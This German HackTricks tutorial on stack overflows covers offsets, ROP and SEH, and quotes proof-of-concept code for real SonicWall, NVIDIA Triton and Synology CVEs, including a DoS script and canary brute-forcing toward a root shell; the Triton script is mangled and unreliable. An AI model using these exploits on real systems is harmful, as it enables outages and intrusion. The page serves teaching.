Stack Overflow

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Was ist ein Stack Overflow

Ein stack overflow ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als dafür vorgesehen ist. Diese überschüssigen Daten werden den benachbarten Speicherbereich überschreiben, was zur Beschädigung gültiger Daten, zur Beeinträchtigung des Kontrollflusses und möglicherweise zur Ausführung bösartigen Codes führt. Dieses Problem entsteht häufig durch die Verwendung unsicherer Funktionen, die keine Grenzprüfungen der Eingaben durchführen.

Das Hauptproblem dieser Überschreibung ist, dass der gespeicherte Instruction Pointer (EIP/RIP) und der gespeicherte Base Pointer (EBP/RBP), die zum Zurückkehren zur vorherigen Funktion verwendet werden, auf dem Stack gespeichert sind. Daher kann ein Angreifer diese überschreiben und den Ausführungsfluss des Programms kontrollieren.

Die Schwachstelle entsteht in der Regel, weil eine Funktion mehr Bytes in den Stack kopiert, als dafür vorgesehen sind, und dadurch andere Teile des Stacks überschreiben kann.

Einige häufig verwundbare Funktionen sind: strcpy, strcat, sprintf, gets… Außerdem können Funktionen wie fgets, read & memcpy, die ein Längenargument akzeptieren, auf eine verwundbare Weise verwendet werden, wenn die angegebene Länge größer ist als der zugewiesene Speicher.

Zum Beispiel könnten die folgenden Funktionen verwundbar sein:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Auffinden von Stack Overflows offsets

Die gebräuchlichste Methode, stack overflows zu finden, besteht darin, eine sehr große Eingabe aus As zu geben (z. B. python3 -c 'print("A"*1000)') und auf einen Segmentation Fault zu warten, der darauf hinweist, dass versucht wurde, auf die Adresse 0x41414141 zuzugreifen.

Außerdem, sobald du festgestellt hast, dass es eine Stack Overflow vulnerability gibt, musst du den Offset finden, bis zu dem es möglich ist, overwrite the return address; hierfür wird üblicherweise eine De Bruijn sequence verwendet. Diese ist für ein gegebenes Alphabet der Größe k und Teilsequenzen der Länge n eine zyklische Sequenz, in der jede mögliche Teilsequenz der Länge n genau einmal als zusammenhängende Teilsequenz vorkommt.

Auf diese Weise, anstatt manuell herauszufinden, welcher Offset nötig ist, um den EIP zu kontrollieren, kann man eine dieser Sequenzen als padding verwenden und anschließend den Offset der Bytes ermitteln, die am Ende die Sequenz überschrieben haben.

Es ist möglich, dafür pwntools zu verwenden:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

oder GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Ausnutzen von Stack Overflows

Bei einem Overflow (vorausgesetzt, die Overflow-Größe ist groß genug) kannst du Werte lokaler Variablen auf dem Stack überschreiben, bis du den gespeicherten EBP/RBP and EIP/RIP (or even more) erreichst.
Die gebräuchlichste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die Rücksprungadresse zu ändern, sodass beim Beenden der Funktion der Kontrollfluss an die vom Angreifer angegebene Stelle in diesem Pointer weitergeleitet wird.

In anderen Szenarien kann es jedoch ausreichen, einfach einige Variablewerte auf dem Stack zu überschreiben, um die Ausnutzung zu erreichen (z. B. bei einfachen CTF-Challenges).

Ret2win

In diesem Typ von CTF-Challenges gibt es eine Funktion im Binary, die nie aufgerufen wird und die du aufrufen musst, um zu gewinnen. Für diese Challenges musst du nur den Offset zum Überschreiben der Rücksprungadresse finden und die Adresse der aufzurufenden Funktion ermitteln (normalerweise wäre ASLR deaktiviert), sodass beim Rücksprung der verwundbaren Funktion die versteckte Funktion aufgerufen wird:

Ret2win

Stack Shellcode

In diesem Szenario kann der Angreifer Shellcode auf dem Stack platzieren und den kontrollierten EIP/RIP ausnutzen, um zum Shellcode zu springen und beliebigen Code auszuführen:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

Unter 32-bit Windows kann ein Overflow die Structured Exception Handler (SEH)-Kette anstelle der gespeicherten Rücksprungadresse überschreiben. Zur Ausnutzung wird typischerweise der SEH-Zeiger durch ein POP POP RET-Gadget ersetzt und das 4-Byte nSEH-Feld für einen kurzen Sprung genutzt, um zurück in den großen Puffer zu pivotieren, in dem der Shellcode liegt. Ein verbreitetes Muster ist ein kurzer jmp in nSEH, der auf einen 5-Byte near jmp trifft, der direkt vor nSEH platziert ist, um mehrere hundert Bytes zurück zum Payload-Start zu springen.

Windows Seh Overflow

ROP & Ret2… techniques

Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen Methode zu umgehen: No executable stack (NX). Außerdem ermöglicht sie mehrere andere Techniken (ret2lib, ret2syscall…), die durch Ausnutzen vorhandener Instruktionen im Binary letztlich beliebige Befehle ausführen können:

ROP & JOP

Heap Overflows

Ein Overflow befindet sich nicht immer im Stack, er kann z. B. auch im heap auftreten:

Heap Overflow

Arten von Schutzmaßnahmen

Es gibt verschiedene Schutzmechanismen, die versuchen, die Ausnutzung von Schwachstellen zu verhindern. Sieh sie dir an in:

Common Binary Exploitation Protections & Bypasses

Praxisbeispiel: CVE-2025-40596 (SonicWall SMA100)

Eine gute Demonstration dafür, warum sscanf niemals für das Parsen nicht vertrauenswürdiger Eingaben vertraut werden sollte, erschien 2025 in SonicWall’s SMA100 SSL-VPN appliance. Die verwundbare Routine innerhalb von /usr/src/EasyAccess/bin/httpd versucht, die Version und den Endpoint aus jeder URI zu extrahieren, die mit /__api__/ beginnt:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Die erste Konvertierung (%2s) speichert sicher zwei Bytes in version (z. B. "v1").
  2. Die zweite Konvertierung (%s) hat keinen Längenbegrenzer, deshalb wird sscanf weiter kopieren bis zum ersten NUL-Byte.
  3. Weil endpoint auf dem stack liegt und 0x800 Bytes lang ist, führt das Angeben eines Pfads, der länger als 0x800 Bytes ist, zur Korruption von allem, was nach dem buffer liegt ‑ einschließlich des stack canary und der saved return address.

Eine einzeilige Proof-of-Concept reicht aus, um den Absturz vor der Authentifizierung auszulösen:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Auch wenn stack canaries den Prozess abbrechen, erhält ein Angreifer dennoch ein Denial-of-Service primitive (und mit zusätzlichen Information leaks möglicherweise code-execution).

Praxisbeispiel: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) enthielt mehrere stack-based overflows, die über seine HTTP API erreichbar waren. Das verwundbare Muster trat wiederholt in http_server.cc und sagemaker_server.cc auf:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) gibt die Anzahl interner buffer segments zurück, die den aktuellen HTTP request body bilden.
  2. Jedes Segment veranlasst, dass ein 16-Byte evbuffer_iovec auf dem stack via alloca() alloziert wird – ohne obere Begrenzung.
  3. Durch Ausnutzung von HTTP chunked transfer-encoding kann ein Client die Request in hunderttausende 6-Byte-Chunks ("1\r\nA\r\n") aufteilen. Dadurch wächst n unbegrenzt, bis der stack erschöpft ist.

Proof-of-Concept (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
Eine ~3 MB Anfrage reicht aus, um die gespeicherte return address zu überschreiben und den daemon bei einem Standard-Build **abstürzen** zu lassen.

### Echtes Beispiel: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Synacktiv’s Pwn2Own 2025 chain nutzte einen pre-auth overflow in `SYNO.BEE.AdminCenter.Auth` auf Port 5000 aus. `AuthManagerImpl::ParseAuthInfo` Base64-dekodiert die Eingabe des Angreifers in einen 4096-Byte großen stack buffer, setzt aber fälschlicherweise `decoded_len = auth_info->len`. Weil der CGI worker pro Anfrage forked, erbt jedes child den parent’s stack canary, sodass eine stabile overflow-Primitive ausreicht, um sowohl den Stack zu korruptieren als auch alle benötigten secrets zu leak.

#### Base64-decoded JSON as a structured overflow
Der decodierte Blob muss gültiges JSON sein und die Keys "state" und "code" enthalten; sonst wirft der parser, bevor der overflow nutzbar ist. Synacktiv löste das, indem sie eine Nutzlast Base64-encodeten, die zu JSON decodiert, gefolgt von einem NUL byte und dann dem overflow stream. `strlen(decoded)` stoppt am NUL, sodass das Parsen gelingt, aber `SLIBCBase64Decode` hatte den Stack bereits hinter dem JSON-Objekt überschrieben und damit den canary, saved RBP und die return address überdeckt.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi forkt bei jeder HTTP-Anfrage, sodass alle Child-Prozesse denselben canary, dasselbe Stack-Layout und denselben PIE slide teilen. Der Exploit behandelt den HTTP-Statuscode als Oracle: eine 200-Antwort bedeutet, dass das geratene Byte den Stack intakt ließ, während 502 (oder eine abgebrochene Verbindung) bedeutet, dass der Prozess abgestürzt ist. Durch serielle Bruteforce-Versuche jedes Bytes werden der 8-byte canary, ein gespeicherter stack pointer und eine return address innerhalb von libsynobeeadmincenter.so wiederhergestellt:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr ruft einfach bf_next_byte achtmal auf und hängt dabei das bestätigte Präfix an. Synacktiv parallelisierte diese Oracles mit ~16 Worker-Threads, was die gesamte leak time (canary + stack ptr + lib base) auf unter drei Minuten reduzierte.

Von leaks zu ROP & Ausführung

Sobald die lib base bekannt ist, bauen common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) ein arb_write-Primitive, das /bin/bash, -c und den Angreiferbefehl auf die leaked stack address platziert. Schließlich richtet die Kette die calling convention für SLIBCExecl (ein BeeStation-Wrapper um execl(2)) ein und liefert eine root shell, ohne einen separaten info-leak-Bug zu benötigen.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks